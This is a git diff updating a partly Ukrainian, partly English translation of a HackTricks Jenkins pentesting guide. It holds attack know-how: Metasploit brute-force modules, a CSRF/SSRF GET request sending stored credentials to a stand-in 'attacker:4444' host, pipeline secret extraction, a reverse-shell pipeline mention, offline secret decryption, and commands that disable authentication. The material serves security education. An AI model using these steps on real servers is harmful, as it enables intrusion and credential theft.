mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# Jenkins Security
|
||||
# Безпека Jenkins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Базова інформація
|
||||
|
||||
Jenkins - це інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервної доставки** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває **необхідність створення скриптів для окремих кроків**, він забезпечує швидший і надійніший спосіб інтеграції всього послідовності інструментів збірки, тестування та розгортання, ніж той, який можна легко створити вручну.
|
||||
Jenkins — інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервного постачання** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду з використанням пайплайнів. Крім того, він автоматизує різні рутинні задачі розробки. Хоча Jenkins не усуває **потребу створювати скрипти для окремих кроків**, він забезпечує швидший і надійніший спосіб інтегрувати всю послідовність інструментів збірки, тестування та деплойменту, ніж це легко реалізувати вручну.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -12,17 +12,17 @@ basic-jenkins-information.md
|
||||
|
||||
## Неавтентифіковане перерахування
|
||||
|
||||
Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати:
|
||||
Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як _/people_ або _/asynchPeople_ (вони показують поточних користувачів), можна використовувати:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Перевірте, чи можете ви виконувати команди без необхідності аутентифікації:
|
||||
Перевірте, чи можете виконувати команди без аутентифікації:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Без облікових даних ви можете переглянути вміст _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**.
|
||||
Без облікових даних ви можете переглянути шлях _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **usernames**.
|
||||
|
||||
Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_.
|
||||
Ви можете дізнатися версію **Jenkins** з шляху _**/oops**_ або _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -32,48 +32,48 @@ msf> use auxiliary/scanner/http/jenkins_command
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Увійти
|
||||
## Login
|
||||
|
||||
У базовій інформації ви можете перевірити **всі способи входу в Jenkins**:
|
||||
У базовій інформації ви можете перевірити **всі способи login всередині Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Реєстрація
|
||||
### Register
|
||||
|
||||
Ви зможете знайти екземпляри Jenkins, які **дозволяють вам створити обліковий запис і увійти в нього. Так просто.**
|
||||
Ви зможете знайти інстанси **Jenkins**, які **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **SSO Вхід**
|
||||
### **SSO Login**
|
||||
|
||||
Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то ви повинні спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто, тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Також, якщо присутні **SSO** функціональність/плагіни, слід спробувати **log-in** у додаток, використовуючи тестовий акаунт (наприклад, тестовий **Github/Bitbucket account**). Трюк з [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Брутфорс
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** не має **політики паролів** та **заходів проти брутфорсу імен користувачів**. Важливо **брутфорсити** користувачів, оскільки можуть використовуватися **слабкі паролі** або **імена користувачів як паролі**, навіть **перевернуті імена користувачів як паролі**.
|
||||
**Jenkins** не має **password policy** та **username brute-force mitigation**. Важливо виконувати **brute-force** по користувачах, оскільки можуть використовуватися **weak passwords** або **usernames as passwords**, навіть **reversed usernames as passwords**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Password spraying
|
||||
|
||||
Використовуйте [цей python скрипт](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) або [цей powershell скрипт](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Використовуйте [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) або [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Багато організацій поєднують **SaaS-системи управління вихідним кодом (SCM)**, такі як GitHub або GitLab, з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Така конфігурація дозволяє CI системам **отримувати події вебхуків від постачальників SaaS управління вихідним кодом**, в основному для запуску завдань конвеєра.
|
||||
Багато організацій комбінують **SaaS-based source control management (SCM) systems** такі як GitHub або GitLab з **internal, self-hosted CI** рішенням на кшталт Jenkins або TeamCity. Ця схема дозволяє CI systems **receive webhook events from SaaS source control vendors**, переважно для запуску pipeline jobs.
|
||||
|
||||
Щоб досягти цього, організації **дозволяють** **IP-діапазони** **платформ SCM**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **вебхуки**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера вебхука**, потенційно надсилаючи запити до **внутрішньої CI системи**.
|
||||
Щоб реалізувати це, організації **whitelist** **IP ranges** of the **SCM platforms**, дозволяючи їм доступ до **internal CI system** через **webhooks**. Проте важливо зазначити, що **anyone** може створити **account** на GitHub або GitLab і налаштувати його так, щоб **trigger a webhook**, потенційно надсилаючи запити до **internal CI system**.
|
||||
|
||||
Перевірте: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins.
|
||||
У цих сценаріях припустимо, що у вас є дійсний обліковий запис для доступу до Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Залежно від механізму **Авторизації**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.**
|
||||
> Залежно від механізму **Authorization**, налаштованого в Jenkins, та прав компрометованого користувача ви **might be able or not to perform the following attacks.**
|
||||
|
||||
Для отримання додаткової інформації перевірте основну інформацію:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -85,81 +85,91 @@ basic-jenkins-information.md
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти секрети у відкритому тексті.
|
||||
Використовуйте [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) щоб дампувати build console outputs та build environment variables у пошуках cleartext secrets.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Викрадення SSH облікових даних**
|
||||
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
|
||||
|
||||
Якщо скомпрометований користувач має **достатні привілеї для створення/модифікації нового Jenkins вузла** і SSH облікові дані вже збережені для доступу до інших вузлів, він може **викрасти ці облікові дані**, створивши/модифікувавши вузол і **встановивши хост, який буде записувати облікові дані** без перевірки ключа хоста:
|
||||
Деякі плагіни виставляють Jelly `validateButton` або `test connection` handlers за шляхами на кшталт `/descriptorByName/<Class>/testConnection`. Коли обробники **не вимагають POST або перевірки прав доступу**, ви можете:
|
||||
|
||||
- Замініть POST на GET і приберіть Crumb, щоб обійти перевірки CSRF.
|
||||
- Запустіть обробник як low-priv/anonymous, якщо відсутня перевірка `Jenkins.ADMINISTER`.
|
||||
- Проведіть CSRF проти адміністратора та замініть параметр host/URL, щоб exfiltrate credentials або ініціювати outbound виклики.
|
||||
- Використовуйте помилки відповіді (наприклад, `ConnectException`) як SSRF/port-scan oracle.
|
||||
|
||||
Приклад GET (no Crumb), що перетворює виклик валідації на SSRF/credential exfiltration:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak ідентифікатори або помилки у відповіді. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
|
||||
.png>)
|
||||
|
||||
Ви зазвичай знайдете облікові дані ssh Jenkins у **глобальному постачальнику** (`/credentials/`), тому ви також можете їх скинути, як і будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets).
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **RCE в Jenkins**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Отримання **shell на сервері Jenkins** дає зловмиснику можливість викрити всі **секрети** та **змінні середовища** і **експлуатувати інші машини**, розташовані в тій же мережі, або навіть **збирати облікові дані хмари**.
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak всі **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
|
||||
За замовчуванням Jenkins буде **працювати як SYSTEM**. Отже, компрометація його надасть зловмиснику **привілеї SYSTEM**.
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
### **RCE Створення/Модифікація проекту**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Створення/модифікація проекту є способом отримання RCE на сервері Jenkins:
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Виконання Groovy скрипту**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути менш помітним, ніж створення нового проекту:
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Створення/Модифікація Pipeline
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Ви також можете отримати **RCE, створюючи/модифікуючи pipeline**:
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Експлуатація Pipeline
|
||||
## Pipeline Exploitation
|
||||
|
||||
Щоб експлуатувати pipeline, вам все ще потрібно мати доступ до Jenkins.
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
|
||||
### Будівельні Pipeline
|
||||
### Build Pipelines
|
||||
|
||||
**Pipeline** також можуть використовуватися як **механізм збірки в проектах**, в цьому випадку можна налаштувати **файл всередині репозиторію**, який міститиме синтаксис pipeline. За замовчуванням використовується `/Jenkinsfile`:
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
|
||||
.png>)
|
||||
|
||||
Також можливо **зберігати конфігураційні файли pipeline в інших місцях** (в інших репозиторіях, наприклад) з метою **розділення** доступу до репозиторію та доступу до pipeline.
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
|
||||
Якщо зловмисник має **доступ на запис до цього файлу**, він зможе **модифікувати** його і **потенційно запустити** pipeline, навіть не маючи доступу до Jenkins.\
|
||||
Можливо, зловмиснику потрібно буде **обійти деякі захисти гілок** (в залежності від платформи та привілеїв користувача, їх можна обійти або ні).
|
||||
|
||||
Найбільш поширені тригери для виконання користувацького pipeline:
|
||||
|
||||
- **Запит на злиття** до основної гілки (або потенційно до інших гілок)
|
||||
- **Пуш до основної гілки** (або потенційно до інших гілок)
|
||||
- **Оновлення основної гілки** і очікування, поки вона буде виконана якимось чином
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо він **погано налаштований**, ви можете повністю **скомпрометувати компанії, просто експлуатуючи це**.
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
У попередньому розділі RCE вже була вказана техніка для [**отримання RCE, модифікуючи pipeline**](./#rce-creating-modifying-pipeline).
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Перевірка змінних середовища
|
||||
### Checking Env variables
|
||||
|
||||
Можна оголосити **змінні середовища у відкритому тексті** для всього pipeline або для конкретних етапів. Ці змінні середовища **не повинні містити чутливу інформацію**, але зловмисник завжди може **перевірити всі конфігурації pipeline/Jenkinsfiles:**
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,21 +184,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### Витягування секретів
|
||||
### Dumping secrets
|
||||
|
||||
Для отримання інформації про те, як зазвичай обробляються секрети в Jenkins, ознайомтеся з основною інформацією:
|
||||
Для інформації про те, як Jenkins зазвичай обробляє secrets, перегляньте базову інформацію:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`) або **конкретними проектами** (`/job/<project-name>/configure`). Тому, щоб ексфільтрувати всі з них, вам потрібно **зламати принаймні всі проекти**, які містять секрети, і виконати користувацькі/отруйні конвеєри.
|
||||
Credentials можуть бути **scoped to global providers** (`/credentials/`) або до **specific projects** (`/job/<project-name>/configure`). Тому, щоб exfiltrate їх усіх, потрібно **compromise принаймні всі проекти**, що містять secrets, і виконати custom/poisoned pipelines.
|
||||
|
||||
Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **секрет** **`string`**, ви отримаєте цю **помилку**:
|
||||
Є ще одна проблема: щоб помістити **secret inside the env** pipeline, потрібно **знати ім'я та тип secret**. Наприклад, якщо ви спробуєте **load** **`usernamePassword`** **secret** як **`string`** **secret**, ви отримаєте цю **error**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Ось як завантажити деякі поширені типи секретів:
|
||||
Ось як завантажити деякі поширені secret types:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -216,46 +226,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
В кінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Наприкінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Найкращий спосіб **вивантажити всі секрети одразу** - це **зламати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\
|
||||
> Більше про те, як це зробити, в розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation).
|
||||
> Найкращий спосіб — **dump all the secrets at once** здійснити шляхом **compromising** **Jenkins** машини (наприклад, running a reverse shell в **built-in node**) і потім **leaking** **master keys** та **encrypted secrets** і розшифрувати їх офлайн.\
|
||||
> Більше про те, як це зробити в the [Nodes & Agents section](#nodes-and-agents) та в the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Тригери
|
||||
### Triggers
|
||||
|
||||
З [документації](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Директива `triggers` визначає **автоматизовані способи, якими Pipeline має бути повторно запущений**. Для Pipeline, які інтегровані з джерелом, таким як GitHub або BitBucket, `triggers` можуть бути непотрібні, оскільки інтеграція на основі вебхуків, ймовірно, вже присутня. Доступні тригери: `cron`, `pollSCM` та `upstream`.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Директива `triggers` визначає **автоматизовані способи, якими Pipeline має бути повторно запущено**. Для Pipeline, інтегрованих із джерелом, таким як GitHub або BitBucket, `triggers` може бути не потрібна, оскільки інтеграція на основі webhooks, ймовірно, вже присутня. Наразі доступні тригери: `cron`, `pollSCM` та `upstream`.
|
||||
|
||||
Приклад cron:
|
||||
Cron example:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Перевірте **інші приклади в документації**.
|
||||
Check **other examples in the docs**.
|
||||
|
||||
### Вузли та Агенти
|
||||
### Вузли & агенти
|
||||
|
||||
**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для викрадення або **різний мережевий доступ**, який може бути використаний для експлуатації інших машин.
|
||||
У **інстанції Jenkins** може бути **різні агенти, що працюють на різних машинах**. З погляду нападника, доступ до різних машин означає **різні потенційні cloud credentials** для викрадення або **різний мережевий доступ**, який може бути використаний для атак на інші машини.
|
||||
|
||||
Для отримання додаткової інформації перевірте основну інформацію:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете \*\*`Вбудований Вузол` \*\* (який є вузлом, що виконує Jenkins) і потенційно більше:
|
||||
Ви можете перерахувати **налаштовані nodes** у `/computer/`, зазвичай ви знайдете **`Built-In Node`** (який є вузлом, що запускає Jenkins) та, можливо, інші:
|
||||
|
||||
.png>)
|
||||
|
||||
Це **особливо цікаво скомпрометувати Вбудований вузол**, оскільки він містить чутливу інформацію Jenkins.
|
||||
Особливо цікаво **компрометувати Built-In node**, оскільки він містить чутливу інформацію Jenkins.
|
||||
|
||||
Щоб вказати, що ви хочете **запустити** **конвеєр** на **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію:
|
||||
Щоб вказати, що ви хочете **run** **pipeline** в **built-in Jenkins node**, ви можете вказати всередині pipeline наступну конфігурацію:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Повний приклад
|
||||
|
||||
Pipeline в конкретному агенті, з тригером cron, з змінними середовища pipeline та stage, завантажуючи 2 змінні в кроці та відправляючи зворотний shell:
|
||||
Pipeline на конкретному agent, з cron trigger, з pipeline та stage env variables, що завантажує 2 variables у step та відправляє reverse shell:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +296,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Читання довільних файлів до RCE
|
||||
## Arbitrary File Read до RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,7 +316,7 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Після експлуатації
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
```
|
||||
@@ -314,9 +324,9 @@ msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
Ви можете перерахувати секрети, отримуючи доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**.
|
||||
Ви можете перерахувати secrets, отримавши доступ до `/credentials/`, якщо маєте достатні права. Зауважте, що це покаже лише secrets всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **додаткові credentials**.
|
||||
|
||||
Якщо ви можете **бачити конфігурацію кожного проекту**, ви також можете побачити там **імена облікових даних (секретів)**, які використовуються для доступу до репозиторію та **інших облікових даних проекту**.
|
||||
Якщо ви можете **переглядати конфігурацію кожного проєкту**, ви також побачите там **назви credentials (secrets)**, які використовуються для доступу до репозиторію, а також **інші credentials проєкту**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -328,18 +338,18 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
Ці файли потрібні для **дешифрування секретів Jenkins**:
|
||||
Ці файли потрібні для **decrypt Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Такі **секрети зазвичай можна знайти в**:
|
||||
Такі **secrets зазвичай можна знайти в**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
Ось регулярний вираз, щоб знайти їх:
|
||||
Ось regex, щоб їх знайти:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +359,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Декодування секретів Jenkins офлайн
|
||||
#### Розшифруйте секрети Jenkins офлайн
|
||||
|
||||
Якщо ви скинули **необхідні паролі для декодування секретів**, використовуйте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **для декодування цих секретів**.
|
||||
Якщо ви витягли **необхідні паролі для розшифрування секретів**, використайте [**цей скрипт**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **щоб розшифрувати ці секрети**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,18 +369,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Дешифрування секретів Jenkins з Groovy
|
||||
#### Розшифрувати секрети Jenkins з Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Створити нового адміністратора
|
||||
|
||||
1. Доступ до файлу Jenkins config.xml у `/var/lib/jenkins/config.xml` або `C:\Program Files (x86)\Jenkis\`
|
||||
2. Знайдіть слово `<useSecurity>true</useSecurity>` і змініть слово **`true`** на **`false`**.
|
||||
1. Отримайте доступ до файлу Jenkins config.xml у `/var/lib/jenkins/config.xml` або `C:\Program Files (x86)\Jenkis\`
|
||||
2. Знайдіть слово `<useSecurity>true</useSecurity>` і змініть слово \*\*`true` \*\* на **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Перезапустіть** сервер **Jenkins**: `service jenkins restart`
|
||||
4. Тепер знову перейдіть до порталу Jenkins, і **Jenkins не запитає жодних облікових даних** цього разу. Ви можете перейти до "**Управління Jenkins**", щоб знову встановити **пароль адміністратора**.
|
||||
5. **Увімкніть** знову **безпеку**, змінивши налаштування на `<useSecurity>true</useSecurity>` і **знову перезапустіть Jenkins**.
|
||||
4. Тепер знову зайдіть у портал Jenkins і цього разу **Jenkins не вимагатиме жодних облікових даних**. Перейдіть у "**Manage Jenkins**", щоб повторно встановити **пароль адміністратора**.
|
||||
5. **Увімкніть** **безпеку** знову, змінивши налаштування на `<useSecurity>true</useSecurity>` і **заново перезапустіть Jenkins**.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@@ -4,83 +4,94 @@
|
||||
|
||||
## Доступ
|
||||
|
||||
### Ім'я користувача + Пароль
|
||||
### Username + Password
|
||||
|
||||
Найпоширеніший спосіб входу в Jenkins - це використання імені користувача або пароля.
|
||||
Найпоширеніший спосіб входу в Jenkins — за допомогою імені користувача та пароля
|
||||
|
||||
### Cookie
|
||||
|
||||
Якщо **авторизований cookie буде вкрадено**, його можна використовувати для доступу до сесії користувача. Cookie зазвичай називається `JSESSIONID.*`. (Користувач може завершити всі свої сесії, але спочатку йому потрібно дізнатися, що cookie було вкрадено).
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
|
||||
### SSO/Плагіни
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins можна налаштувати за допомогою плагінів, щоб бути **доступним через стороннє SSO**.
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
|
||||
### Токени
|
||||
### Tokens
|
||||
|
||||
**Користувачі можуть генерувати токени**, щоб надати доступ до додатків для їх ідентифікації через CLI або REST API.
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
|
||||
### SSH Ключі
|
||||
### SSH Keys
|
||||
|
||||
Цей компонент надає вбудований SSH сервер для Jenkins. Це альтернативний інтерфейс для [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), і команди можуть бути викликані таким чином, використовуючи будь-який SSH клієнт. (З [документації](https://plugins.jenkins.io/sshd/))
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Авторизація
|
||||
|
||||
У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька варіантів:
|
||||
У `/configureSecurity` можна **налаштувати метод авторизації Jenkins**. Є кілька опцій:
|
||||
|
||||
- **Будь-хто може робити що завгодно**: Навіть анонімний доступ може адмініструвати сервер.
|
||||
- **Режим спадщини**: Те ж саме, що і Jenkins <1.164. Якщо у вас є **роль "адміністратор"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включаючи **анонімних** користувачів) ви матимете **доступ для читання**.
|
||||
- **Увійшли користувачі можуть робити що завгодно**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиний користувач, який не матиме повного контролю, - це **анонімний користувач**, який отримує лише **доступ для читання**.
|
||||
- **Матриця безпеки**: Ви можете налаштувати **хто може робити що** в таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**анонімний**', який представляє **неавтентифікованих користувачів**, а також '**автентифікований**', який представляє **всіх автентифікованих користувачів**.
|
||||
- **Anyone can do anything**: Навіть анонімний доступ може адмініструвати сервер
|
||||
